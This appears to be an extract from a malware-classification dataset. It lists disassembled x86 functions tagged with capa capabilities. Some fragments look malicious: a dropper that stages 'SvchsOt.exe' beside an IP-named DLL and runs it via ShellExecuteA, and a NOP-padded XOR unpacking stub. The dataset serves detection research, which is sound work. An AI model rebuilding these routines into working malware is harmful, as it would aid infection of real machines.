joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48949b
Capabilities:
Parse credit card information

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x4895f1
mov edi, 0x10000000
cmp eax, 0x7c
je 0x4895f1
cmp eax, 0x29
jne 0x4894d6
cmp dword [esi + 0x10], 0
jne 0x4895f1
test dword [esi + 0x50], edi
je 0x48957e
cmp eax, 0x2e
jne 0x4894f1
push 5
lea ecx, [esi + 0x24]
call fcn.0048b60c
mov ecx, esi
call fcn.0048b658
jmp 0x4895dc
cmp eax, 0x5c
jne 0x489546
mov ecx, esi
call fcn.0048b658
test byte [esi + 0x50], 0x80
je 0x48953a
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x489522
push 4
lea ecx, [esi + 0x24]
call fcn.0048b60c
mov ecx, esi
call fcn.0048b658
jmp 0x4895e3
cmp eax, 0x42
jne 0x48953a
push 4
lea ecx, [esi + 0x24]
call fcn.0048b60c
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x489516
mov ecx, esi
call fcn.00489656
jmp 0x4895dc
cmp eax, 0x5b
jne 0x489563
mov ecx, esi
call fcn.0048b658
mov ecx, esi
call fcn.00489aa1
cmp dword [esi + 0x4c], 0x5d
je 0x4894e5
push 4
jmp 0x489580
cmp eax, 0x28
jne 0x489585
mov ecx, esi
call fcn.0048b658
mov ecx, esi
call fcn.0048ba4f
cmp dword [esi + 0x4c], 0x29
mov bl, al
je 0x4895d1
push 5
call fcn.0043b1c5
cmp eax, 0x5e
jne 0x48958e
push 2
jmp 0x48950e
cmp eax, 0x24
jne 0x48959a
push 3
jmp 0x48950e
cmp eax, 0x2a
je 0x4895fb
cmp eax, 0x2b
je 0x4895fb
cmp eax, 0x3f
je 0x4895fb
cmp eax, 0x7b
je 0x4895fb
cmp eax, 0x7d
jne 0x4895b8
test dword [esi + 0x50], edi
je 0x4895f7
cmp eax, 0x5d
jne 0x4895c2
test dword [esi + 0x50], edi
je 0x48955f
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.00488e99
mov bl, 1
mov ecx, esi
call fcn.0048b658
test bl, bl
je 0x4895e3
mov ecx, esi
call fcn.0048b683
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x4894b5
pop edi
pop esi
mov al, cl
pop ebx
ret
push 6
jmp 0x489580
push 0xa
jmp 0x489580

Function at 0x4920cd
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
mov edi, ecx
cmp dword [ebp + 8], esi
jbe 0x4920f8
movzx eax, byte [esi + edx]
add eax, dword [edi]
imul ecx, eax, 0x401
mov eax, ecx
shr eax, 6
xor eax, ecx
inc esi
mov dword [edi], eax
cmp esi, dword [ebp + 8]
jb 0x4920dd
pop edi
pop esi
pop ebp
ret 4

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001930
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, edx
mov ecx, dword [ebx + 0x38]
lea edx, [ecx + eax]
mov dword [ebp - 4], edx
mov dword [edi], edx
cmp edx, 0x10
ja 0x10001976
push eax
lea eax, [ebx + 0x28]
add eax, ecx
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 8]
add esp, 0xc
add dword [ebx + 0x38], eax
xor eax, eax
mov dword [edi], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0xc], esi
jne 0x10001987
pop edi
pop esi
mov eax, 0x1001
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x10
lea eax, [ebx + 0x28]
sub edi, ecx
add eax, ecx
push edi
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 4]
lea edx, [ebx + 0x18]
add ecx, 0xfffffff0
add esp, 0xc
mov dword [ebp + 8], ecx
add esi, edi
lea ecx, [ebx + 0x3c]
call fcn.100026c0
mov eax, dword [ebx + 0x18]
lea ecx, [ebx + 0x18]
xor eax, dword [ebx + 0x28]
lea edx, [ebx + 0x28]
mov edi, dword [ebp + 0xc]
mov dword [edi], eax
mov eax, dword [ebx + 0x1c]
xor eax, dword [ebx + 0x2c]
mov dword [edi + 4], eax
mov eax, dword [ebx + 0x30]
xor eax, dword [ebx + 0x20]
mov dword [edi + 8], eax
mov eax, dword [ebx + 0x34]
xor eax, dword [ebx + 0x24]
mov dword [edi + 0xc], eax
add edi, 0x10
mov eax, dword [edx]
mov dword [ecx], eax
mov eax, dword [ebx + 0x2c]
mov dword [ebx + 0x1c], eax
mov eax, dword [ebx + 0x30]
mov dword [ebx + 0x20], eax
mov eax, dword [ebx + 0x34]
mov dword [ebx + 0x24], eax
mov eax, dword [ebp + 8]
cmp eax, 0x10
jbe 0x10001a6e
add eax, 0xffffffef
shr eax, 4
inc eax
mov dword [ebp - 4], eax
nop dword [eax + eax]
mov edx, ecx
lea ecx, [ebx + 0x3c]
call fcn.100026c0
mov eax, dword [ebx + 0x18]
lea ecx, [ebx + 0x18]
xor eax, dword [esi]
lea edi, [edi + 0x10]
mov dword [edi - 0x10], eax
mov eax, dword [ebx + 0x1c]
xor eax, dword [esi + 4]
mov dword [edi - 0xc], eax
mov eax, dword [ebx + 0x20]
xor eax, dword [esi + 8]
mov dword [edi - 8], eax
mov eax, dword [ebx + 0x24]
xor eax, dword [esi + 0xc]
mov dword [edi - 4], eax
mov eax, dword [esi]
mov dword [ecx], eax
mov eax, dword [esi + 4]
mov dword [ebx + 0x1c], eax
mov eax, dword [esi + 8]
mov dword [ebx + 0x20], eax
mov eax, dword [esi + 0xc]
add esi, 0x10
mov dword [ebx + 0x24], eax
mov eax, dword [ebp + 8]
sub eax, 0x10
sub dword [ebp - 4], 1
mov dword [ebp + 8], eax
jne 0x10001a10
lea edx, [ebx + 0x28]
push eax
push esi
push edx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x38]
add esp, 0xc
mov ecx, dword [ebp + 8]
and eax, 0xf0000000
add eax, ecx
mov dword [ebx + 0x38], eax
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
sub dword [eax], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10009440
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x10009472
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push 0
push 0x10009280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10009472
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc
Function at 0x4023e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43d4d5
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x455398]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x44db38
lea ecx, [ebp - 0x58]
call fcn.00403700
push str._SvchsOt.exe
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.00403700
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.004020e0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x402476
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40246c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4025b0
push ecx
push edx
call fcn.0041a13a
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp ecx, 8
jb 0x4024cb
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4024c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4025b0
push ecx
push edx
call fcn.0041a13a
add esp, 8
push str.C:Windowslibcurl.dll
lea ecx, [ebp - 0x70]
call fcn.00403700
push str._202.61.85.121.dll
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 2
call fcn.00403700
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40]
call fcn.004020e0
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x402535
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40252b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4025b5
push ecx
push edx
call fcn.0041a13a
add esp, 8
mov ecx, dword [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 8
jb 0x40257f
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402575
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4025b5
push ecx
push edx
call fcn.0041a13a
add esp, 8
push 5
push 0
push 0
push str.C:WindowsSvchsOt.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419edb
mov esp, ebp
pop ebp
ret
call fcn.0041fa8f
call fcn.0041fa8f
int3
Function at 0x405510
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x405539
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40554f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405546
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x405582
nop
cmp esi, ecx
jae 0x405546
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x405570
cmp esi, ecx
jae 0x405546
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4057b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], ecx
call fcn.0040af93
mov ebx, eax
test ebx, ebx
jne 0x4057d0
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x4058b7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4058b7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4058b7
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x405838
cmp esi, ecx
jae 0x4058b7
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x405822
cmp esi, ecx
jae 0x4058b7
cmp word [esi], 0
je 0x4058b7
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x4058c2
mov ebx, dword [ebp - 4]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x405880
push edi
mov ecx, ebx
call fcn.004056c0
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x4058c2
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
pop esi
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.004058f0
int3
Function at 0x407fbd
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x43db2c
call fcn.0041a5c2
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x408065
push dword [ebp + 8]
call fcn.004082e6
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4080f8
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x40804e
push ecx
call fcn.004119b7
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40804e
xor edi, edi
inc edi
jmp 0x408058
push dword [ebx]
call fcn.00407e75
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.00407ee2
jmp 0x4080f6
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x43f4b8]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x4080ee
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.004119b7
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x4080e8
mov esi, dword [ebp + 0x10]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
push ecx
lea ecx, [ebp - 0x10]
call fcn.00407ebf
lea ecx, [edi + edi]
push ecx
lea ecx, [ebp - 0x10]
lea ebx, [eax - 1]
shl bl, 4
sub bl, 0x41
call fcn.00407ebf
mov ecx, dword [esi]
add al, bl
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x18]
add ecx, 2
mov dword [ebp - 0x18], ecx
cmp edi, dword [eax]
jb 0x4080b2
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.00405940
mov eax, edi
call fcn.0041a590
ret 0x10

Function at 0x408100
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x408153
push esi
push dword [ebp + 8]
call fcn.004082e6
mov edi, eax
test edi, edi
je 0x40814e
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40814e
mov eax, dword [ebp - 8]
jmp 0x408165
mov eax, dword [ebp + 0x10]
jmp 0x408165
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
leave
ret 0xc
Function at 0x40816b
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43db59
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.0041a770
mov eax, dword [0x455398]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x101c], edi
mov dword [ebp - 0x1024], eax
cmp dword [ecx + 0x58], ebx
je 0x408299
push ebx
push edx
call fcn.004082e6
mov ebx, eax
test ebx, ebx
jne 0x4081d3
push esi
jmp 0x4082c1
lea ecx, [ebp - 0x1014]
call fcn.00405960
xor ecx, ecx
lea eax, [ebp - 0x1018]
push eax
push ecx
lea eax, [ebp - 0x1020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x1024]
mov dword [ebp - 0x1020], ecx
push ebx
mov dword [ebp - 0x1018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x101c], eax
test eax, eax
jne 0x408258
push dword [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
call fcn.00405720
lea ecx, [ebp - 0x1018]
push ecx
push eax
lea eax, [ebp - 0x1020]
push eax
push 0
push dword [ebp - 0x1024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x101c], eax
call fcn.00408422
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x101c], 0
jne 0x408286
mov esi, dword [ebp - 0x1014]
add esi, 0xfffffff0
push esi
call fcn.00406bd3
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.00405940
jmp 0x4082c8
push esi
mov ecx, edi
call fcn.00406251
mov ecx, dword [ebp - 0x1014]
lea ecx, [ecx - 0x10]
jmp 0x40827f
test esi, esi
jne 0x4082a2
mov esi, 0x44dc2a
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x1010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, edi
call fcn.00406251
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419edb
leave
ret 0x10
Function at 0x411dc2
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
xor eax, eax
mov dword [ebp - 8], ecx
inc eax
inc ebx
mov dword [ebp - 4], eax
cmp dword [edi + 8], ebx
jle 0x411e39
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x411dff
mov eax, dword [ecx + 0x10]
cmp dword [eax + ebx*8 + 4], edx
je 0x411dff
mov eax, dword [edi + 0xc]
cmp dword [eax + ebx*4], 0
je 0x411e2c
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x411e2f
mov eax, dword [edi + 0xc]
mov eax, dword [eax + ebx*4]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x411e25
mov eax, dword [eax]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x43f4b8]
mov ecx, dword [ebp - 0xc]
call esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov eax, dword [edi + 0xc]
and dword [eax + ebx*4], 0
mov eax, dword [ebp - 4]
inc ebx
cmp ebx, dword [edi + 8]
jl 0x411de2
test eax, eax
je 0x411e80
lea esi, [ecx + 0x1c]
mov ebx, edi
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 8]
push edi
add ecx, 0x14
call fcn.004120b1
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x43f4b8]
mov ecx, edi
call esi
mov eax, dword [ebp - 8]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x412104
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 0x10
mov eax, 0x43e0e9
call fcn.0041a62b
mov ebx, ecx
mov dword [ebp - 0x18], ebx
lea eax, [ebx + 0x1c]
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 8]
test edi, edi
jle 0x4121fb
cmp edi, dword [ebx + 0xc]
jge 0x4121fb
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x41215b
cmp edi, dword [esi + 8]
jl 0x4121e9
cmp dword [ebp + 0xc], 0
je 0x4121e9
xor edi, edi
jmp 0x41218d
xor edi, edi
push 0x10
mov dword [ebp - 4], edi
call fcn.00411bc1
mov esi, eax
test esi, esi
je 0x412175
mov dword [esi], vtable.CThreadData.0
jmp 0x412177
mov esi, edi
or dword [ebp - 4], 0xffffffff
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
mov dword [esi + eax], ecx
mov dword [ebx + 0x14], esi
push 4
push dword [ebx + 0xc]
call fcn.0040a955
cmp dword [esi + 0xc], 0
pop ecx
pop ecx
jne 0x4121a9
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x4121b5
push 2
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edx, eax
test edx, edx
je 0x412222
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], edx
mov eax, dword [ebx + 0xc]
sub eax, ecx
shl eax, 2
push eax
lea eax, [edx + ecx*4]
push edi
push eax
call fcn.0041c990
mov eax, dword [ebx + 0xc]
add esp, 0xc
mov dword [esi + 8], eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov edi, dword [ebp + 8]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x4121fb
cmp edi, dword [esi + 8]
jge 0x4121fb
mov eax, dword [ebp + 0xc]
mov dword [ecx + edi*4], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0041a590
ret 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0040adfd
int3
Function at 0x414aa7
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x234
mov eax, 0x43e3fc
call fcn.0041a5f5
mov ebx, ecx
mov dword [ebp - 0x224], ebx
and dword [ebp - 0x228], 0
call fcn.0040a3e3
push 0
mov ecx, dword [eax + 4]
call fcn.00407efc
mov edi, eax
xor eax, eax
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov eax, dword [ebx]
mov byte [ebp - 4], 1
mov esi, dword [eax + 0x20]
lea eax, [ebp - 0x21c]
push eax
mov ecx, esi
call dword [0x43f4b8]
mov ecx, ebx
call esi
push 0x2001f
lea ecx, [ebp - 0x234]
push dword [eax]
push edi
call fcn.00414858
mov ecx, dword [ebp - 0x21c]
mov esi, eax
lea ecx, [ecx - 0x10]
call fcn.00405940
test esi, esi
jne 0x414c99
xor ebx, ebx
lea eax, [ebp - 0x113]
push 0x103
push ebx
push eax
mov byte [ebp - 0x114], bl
call fcn.0041c990
mov edi, dword [ebp - 0x234]
lea eax, [ebp - 0x21c]
add esp, 0xc
mov dword [ebp - 0x21c], 0x104
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x114]
push eax
push ecx
jmp 0x414c35
push 0x103
lea eax, [ebp - 0x217]
mov dword [ebp - 0x21c], 0x104
push 0
push eax
inc ebx
mov byte [ebp - 0x218], 0
call fcn.0041c990
add esp, 0xc
mov dword [ebp - 0x220], 0x104
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x234]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00414a48
test eax, eax
jne 0x414c20
mov ecx, dword [ebp - 0x224]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ecx + 4]
call fcn.00413672
mov esi, eax
lea eax, [ebp - 0x218]
push eax
call fcn.004215a0
pop ecx
push eax
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00405b6d
mov dword [ebp - 0x228], 1
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x114]
push eax
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x414b8d
test edi, edi
je 0x414c57
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
mov dword [ebp - 0x234], edi
mov ebx, dword [ebp - 0x224]
and dword [ebp - 0x230], 0
mov eax, dword [ebx]
mov esi, dword [eax + 0x20]
lea eax, [ebp - 0x220]
push eax
mov ecx, esi
call dword [0x43f4b8]
mov ecx, ebx
call esi
lea ecx, [ebp - 0x240]
push dword [eax]
call fcn.00413ec3
mov ecx, dword [ebp - 0x220]
lea ecx, [ecx - 0x10]
call fcn.00405940
jmp 0x414c9f
mov edi, dword [ebp - 0x234]
test edi, edi
je 0x414caa
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x240]
call fcn.00407ee2
mov eax, dword [ebp - 0x228]
call fcn.0041a5a4
ret

Function at 0x41ae7b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41aeba
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41aeba
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41aeba
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41aeba
cmp dword [ecx + 0x74], 0xe
jbe 0x41aeba
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret